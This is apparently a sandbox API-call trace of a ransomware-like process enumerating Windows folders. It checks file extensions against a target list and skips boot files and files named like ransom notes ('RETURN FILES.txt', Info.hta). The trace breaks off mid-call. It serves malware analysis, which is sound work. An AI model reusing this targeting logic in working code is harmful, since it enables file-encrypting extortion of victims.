[0100.347] lstrlenW (lpString=".kwm") returned 4 [0100.347] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0100.347] lstrlenW (lpString=".lasso") returned 6 [0100.347] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0100.347] lstrlenW (lpString=".lbi") returned 4 [0100.347] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0100.347] lstrlenW (lpString=".lgf") returned 4 [0100.347] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0100.347] lstrlenW (lpString=".lgp") returned 4 [0100.347] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0100.347] lstrlenW (lpString=".log") returned 4 [0100.347] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0100.347] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0100.347] lstrlenW (lpString=".BSC") returned 4 [0100.347] lstrcmpiW (lpString1=".BSC", lpString2=".log") returned -1 [0100.347] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0100.347] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0100.347] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0100.348] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0100.348] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0100.348] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0100.348] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0100.348] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0100.348] lstrcmpiW (lpString1="reaItek.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0100.348] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0100.348] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0100.348] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0100.348] lstrlenW (lpString=".1cd") returned 4 [0100.348] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0100.348] lstrlenW (lpString=".3ds") returned 4 [0100.348] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0100.348] lstrlenW (lpString=".3fr") returned 4 [0100.348] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0100.348] lstrlenW (lpString=".3g2") returned 4 [0100.348] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0100.348] lstrlenW (lpString=".3gp") returned 4 [0100.348] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0100.348] lstrlenW (lpString=".7z") returned 3 [0100.348] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0100.348] lstrlenW (lpString=".accda") returned 6 [0100.348] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0100.349] lstrlenW (lpString=".accdb") returned 6 [0100.349] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0100.349] lstrlenW (lpString=".accdc") returned 6 [0100.349] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0100.349] lstrlenW (lpString=".accde") returned 6 [0100.349] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0100.349] lstrlenW (lpString=".accdt") returned 6 [0100.349] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0100.349] lstrlenW (lpString=".accdw") returned 6 [0100.349] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0100.349] lstrlenW (lpString=".adb") returned 4 [0100.349] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0100.349] lstrlenW (lpString=".adp") returned 4 [0100.349] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0100.349] lstrlenW (lpString=".ai") returned 3 [0100.349] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0100.349] lstrlenW (lpString=".ai3") returned 4 [0100.349] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0100.349] lstrlenW (lpString=".ai4") returned 4 [0100.349] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0100.349] lstrlenW (lpString=".ai5") returned 4 [0100.349] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0100.349] lstrlenW (lpString=".ai6") returned 4 [0100.349] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0100.349] lstrlenW (lpString=".ai7") returned 4 [0100.349] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0100.349] lstrlenW (lpString=".ai8") returned 4 [0100.350] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0100.350] lstrlenW (lpString=".anim") returned 5 [0100.350] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0100.350] lstrlenW (lpString=".arw") returned 4 [0100.350] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0100.350] lstrlenW (lpString=".as") returned 3 [0100.350] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0100.350] lstrlenW (lpString=".asa") returned 4 [0100.350] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0100.350] lstrlenW (lpString=".asc") returned 4 [0100.350] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0100.350] lstrlenW (lpString=".ascx") returned 5 [0100.350] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0100.350] lstrlenW (lpString=".asm") returned 4 [0100.350] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0100.350] lstrlenW (lpString=".asmx") returned 5 [0100.350] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0100.350] lstrlenW (lpString=".asp") returned 4 [0100.350] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0100.350] lstrlenW (lpString=".aspx") returned 5 [0100.350] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0100.350] lstrlenW (lpString=".asr") returned 4 [0100.350] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0100.350] lstrlenW (lpString=".asx") returned 4 [0100.350] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0100.350] lstrlenW (lpString=".avi") returned 4 [0100.350] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0100.350] lstrlenW (lpString=".avs") returned 4 [0100.351] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0100.351] lstrlenW (lpString=".backup") returned 7 [0100.351] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0100.351] lstrlenW (lpString=".bak") returned 4 [0100.351] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0100.351] lstrlenW (lpString=".bay") returned 4 [0100.351] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0100.351] lstrlenW (lpString=".bd") returned 3 [0100.351] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0100.351] lstrlenW (lpString=".bin") returned 4 [0100.351] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0100.351] lstrlenW (lpString=".bmp") returned 4 [0100.351] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0100.351] lstrlenW (lpString=".bz2") returned 4 [0100.351] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0100.351] lstrlenW (lpString=".c") returned 2 [0100.351] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0100.351] lstrlenW (lpString=".cdr") returned 4 [0100.351] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0100.351] lstrlenW (lpString=".cer") returned 4 [0100.351] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0100.351] lstrlenW (lpString=".cf") returned 3 [0100.351] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0100.351] lstrlenW (lpString=".cfc") returned 4 [0100.351] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0100.351] lstrlenW (lpString=".cfm") returned 4 [0100.351] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0100.351] lstrlenW (lpString=".cfml") returned 5 [0100.352] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0100.352] lstrlenW (lpString=".cfu") returned 4 [0100.352] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0100.352] lstrlenW (lpString=".chm") returned 4 [0100.352] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0100.352] lstrlenW (lpString=".cin") returned 4 [0100.352] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0100.352] lstrlenW (lpString=".class") returned 6 [0100.352] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0100.352] lstrlenW (lpString=".clx") returned 4 [0100.352] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0100.352] lstrlenW (lpString=".config") returned 7 [0100.352] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0100.352] lstrlenW (lpString=".cpp") returned 4 [0100.352] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0100.352] lstrlenW (lpString=".cr2") returned 4 [0100.352] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0100.352] lstrlenW (lpString=".crt") returned 4 [0100.352] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0100.352] lstrlenW (lpString=".crw") returned 4 [0100.352] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0100.352] lstrlenW (lpString=".cs") returned 3 [0100.352] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0100.352] lstrlenW (lpString=".css") returned 4 [0100.352] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0100.352] lstrlenW (lpString=".csv") returned 4 [0100.352] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0100.353] lstrlenW (lpString=".cub") returned 4 [0100.353] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0100.353] lstrlenW (lpString=".dae") returned 4 [0100.353] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0100.353] lstrlenW (lpString=".dat") returned 4 [0100.353] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0100.353] lstrlenW (lpString=".db") returned 3 [0100.353] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0100.353] lstrlenW (lpString=".dbf") returned 4 [0100.353] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0100.353] lstrlenW (lpString=".dbx") returned 4 [0100.353] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0100.353] lstrlenW (lpString=".dc3") returned 4 [0100.353] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0100.353] lstrlenW (lpString=".dcm") returned 4 [0100.353] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0100.353] lstrlenW (lpString=".dcr") returned 4 [0100.353] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0100.353] lstrlenW (lpString=".der") returned 4 [0100.353] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0100.353] lstrlenW (lpString=".dib") returned 4 [0100.353] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0100.353] lstrlenW (lpString=".dic") returned 4 [0100.353] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0100.353] lstrlenW (lpString=".dif") returned 4 [0100.353] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0100.353] lstrlenW (lpString=".divx") returned 5 [0100.353] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0100.354] lstrlenW (lpString=".djvu") returned 5 [0100.354] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0100.354] lstrlenW (lpString=".dng") returned 4 [0100.354] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0100.354] lstrlenW (lpString=".doc") returned 4 [0100.354] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0100.354] lstrlenW (lpString=".docm") returned 5 [0100.354] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0100.354] lstrlenW (lpString=".docx") returned 5 [0100.354] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0100.354] lstrlenW (lpString=".dot") returned 4 [0100.354] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0100.354] lstrlenW (lpString=".dotm") returned 5 [0100.354] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0100.354] lstrlenW (lpString=".dotx") returned 5 [0100.354] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0100.354] lstrlenW (lpString=".dpx") returned 4 [0100.354] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0100.354] lstrlenW (lpString=".dqy") returned 4 [0100.354] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0100.355] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0100.355] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0100.355] FindClose (in: hFindFile=0x42903c0 | out: hFindFile=0x42903c0) returned 1 [0100.374] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0100.375] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0100.375] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0100.375] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290180 [0100.756] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.756] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0100.756] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0100.756] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0100.756] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0100.756] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0100.756] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0100.756] FindClose (in: hFindFile=0x4290180 | out: hFindFile=0x4290180) returned 1 [0100.758] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0100.758] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0100.758] FindClose (in: hFindFile=0x4290680 | out: hFindFile=0x4290680) returned 1 [0100.758] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4291058 | out: hHeap=0x5c0000) returned 1 [0100.759] FindNextFileW (in: hFindFile=0x4290240, lpFindFileData=0x38ffcf8 | out: lpFindFileData=0x38ffcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0100.759] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4291058 [0100.760] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4290080 [0100.760] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0100.760] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0100.760] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0100.760] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42900c0 [0100.760] FindNextFileW (in: hFindFile=0x42900c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.760] FindNextFileW (in: hFindFile=0x42900c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0100.761] FindNextFileW (in: hFindFile=0x42900c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0100.761] FindClose (in: hFindFile=0x42900c0 | out: hFindFile=0x42900c0) returned 1 [0100.761] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0100.761] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0100.761] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0100.761] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290740 [0100.761] FindNextFileW (in: hFindFile=0x4290740, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.761] FindNextFileW (in: 